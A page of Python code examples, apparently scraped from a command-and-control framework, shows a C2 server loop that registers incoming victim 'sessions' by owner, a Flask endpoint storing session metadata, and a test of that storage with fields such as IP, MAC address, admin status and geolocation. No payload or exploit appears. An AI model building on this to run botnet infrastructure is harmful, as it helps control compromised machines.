Esempio n. 1
0
    def serve_until_stopped(self):
        print('testing serve')
        while True:

            connection, address = self.socket.accept()

            session = SessionThread(connection=connection, c2=self)
            print(session)
            if session.info != None:

                # database stores identifying information about session
                session_dict = session_dao.handle_session(session.info)
                session.id = session_dict['id']

                # display session information in terminal
                session_dict.pop('new', None)
                session.info = session_dict

                # add session to user sessions dictionary
                owner = session.info.get('owner')
                if owner not in self.sessions:
                    self.sessions[owner] = {}

                self.sessions[owner][session.info.get('uid')] = session

                print('New session {}:{} connected'.format(
                    owner, session.info.get('uid')))

            else:
                util.log("Failed Connection: {}".format(address[0]))

            abort = globals()['__abort']
            if abort:
                break
def session_new():
    """Add session metadata to database."""
    if not request.json:
        return redirect(url_for('main.sessions'))
    data = dict(request.json)
    session_metadata = session_dao.handle_session(data)
    return jsonify(session_metadata)
Esempio n. 3
0
def test_handle_session(app_client, new_user):
    """
    Given a new user,
    when a new user is created via session_dao.handle_session function,
    then check the session metadata is stored in the database correctly. 
    """
    # add test session (without uid)
    uid = md5(bytes(getrandbits(10))).hexdigest()
    input_session_dict = {
        "online": True,
        "joined": datetime.utcnow(),
        "last_online": datetime.utcnow(),
        "public_ip": '1.2.3.4',
        "local_ip": '192.1.1.168',
        "mac_address": '00:0A:95:9D:68:16',
        "username": '******',
        "administrator": True,
        "platform": 'linux2',
        "device": 'test_device',
        "architecture": 'x32',
        "latitude": 0.00,
        "longitude": 0.00,
        "owner": new_user.username,
    }
    try:
        output_session_dict = session_dao.handle_session(input_session_dict)
    except Exception as e:
        pytest.fail("dao.handle_session exception handling new session: " +
                    str(e))

    # check server assigned uid
    assert 'uid' in output_session_dict
    uid = output_session_dict['uid']

    # run tests
    session = session_dao.get_session(uid)
    assert session.owner == new_user.username
    assert session.uid == uid
    assert session.online is True
    assert (datetime.utcnow() - session.joined).seconds <= 5
    assert (datetime.utcnow() - session.last_online).seconds <= 5
    assert session.public_ip == '1.2.3.4'
    assert session.local_ip == '192.1.1.168'
    assert session.mac_address == '00:0A:95:9D:68:16'
    assert session.username == 'test_user'
    assert session.administrator is True
    assert session.platform == 'linux2'
    assert session.device == 'test_device'
    assert session.architecture == 'x32'
    assert session.longitude == 0.00
    assert session.latitude == 0.00

    # add test session (with uid)
    uid = md5(bytes(getrandbits(10))).hexdigest()
    input_session_dict = {
        "uid": uid,
        "online": True,
        "joined": datetime.utcnow(),
        "last_online": datetime.utcnow(),
        "public_ip": '5.6.7.8',
        "local_ip": '192.1.1.168',
        "mac_address": '00:0A:95:9D:68:16',
        "username": '******',
        "administrator": True,
        "platform": 'linux2',
        "device": 'test_device',
        "architecture": 'x32',
        "latitude": 0.00,
        "longitude": 0.00,
        "owner": new_user.username,
    }
    try:
        output_session_dict = session_dao.handle_session(input_session_dict)
    except Exception as e:
        pytest.fail(
            "dao.handle_session exception handling existing session: " +
            str(e))

    # run tests
    session = session_dao.get_session(uid)
    assert session.owner == new_user.username
    assert session.uid == uid
    assert session.online is True
    assert (datetime.utcnow() - session.joined).seconds <= 5
    assert (datetime.utcnow() - session.last_online).seconds <= 5
    assert session.public_ip == '5.6.7.8'
    assert session.local_ip == '192.1.1.168'
    assert session.mac_address == '00:0A:95:9D:68:16'
    assert session.username == 'test_user'
    assert session.administrator is True
    assert session.platform == 'linux2'
    assert session.device == 'test_device'
    assert session.architecture == 'x32'
    assert session.longitude == 0.00
    assert session.latitude == 0.00
Esempio n. 4
0
def session_new():
    """Add session metadata to database."""
    data = dict(request.json)
    session_metadata = session_dao.handle_session(data)
    return jsonify(session_metadata)